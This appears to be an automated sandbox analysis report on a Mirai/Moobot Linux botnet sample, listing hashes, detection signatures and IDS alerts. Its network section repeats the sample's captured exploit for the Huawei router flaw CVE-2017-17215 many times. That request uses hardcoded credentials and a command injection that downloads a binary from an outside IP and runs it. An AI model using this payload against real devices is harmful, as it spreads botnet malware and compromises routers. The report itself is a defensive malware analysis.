Linux Analysis Report
v8OWS3Ylfj.elf

Overview

General Information

Sample Name: v8OWS3Ylfj.elf
Original Sample Name: 2b318e2fa59dccaa45cc59c5fea7e082.elf
Analysis ID: 830702
MD5: 2b318e2fa59dccaa45cc59c5fea7e082
SHA1: d5bf527325fbfbda5d26272bb88874bc504dd260
SHA256: 7bbce804ece6b26f0fcf2937fd5217518848f044c95cc6d033f5a08f04598a06
Tags: 32elfintelmirai
Infos:

Detection

Mirai, Moobot
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara detected Moobot
Snort IDS alert for network traffic
Uses known network protocols on non-standard ports
Machine Learning detection for sample
Performs DNS queries to domains with low reputation
Yara signature match
Sample has stripped symbol table
HTTP GET or POST without a user agent
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: v8OWS3Ylfj.elf Virustotal: Detection: 56% Perma Link
Source: v8OWS3Ylfj.elf ReversingLabs: Detection: 58%
Machine Learning detection for sample
Source: v8OWS3Ylfj.elf Joe Sandbox ML: detected

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:36176 -> 195.133.40.202:56999
Source: Traffic Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 195.133.40.202:56999 -> 192.168.2.23:36176
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57976 -> 195.164.211.50:37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 46180 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42668 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 42668
Source: unknown Network traffic detected: HTTP traffic on port 34274 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34274 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 43448 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 43448 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 43448 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 32862 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54054 -> 37215
Performs DNS queries to domains with low reputation
Source: DNS query: test.zxyes.xyz
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 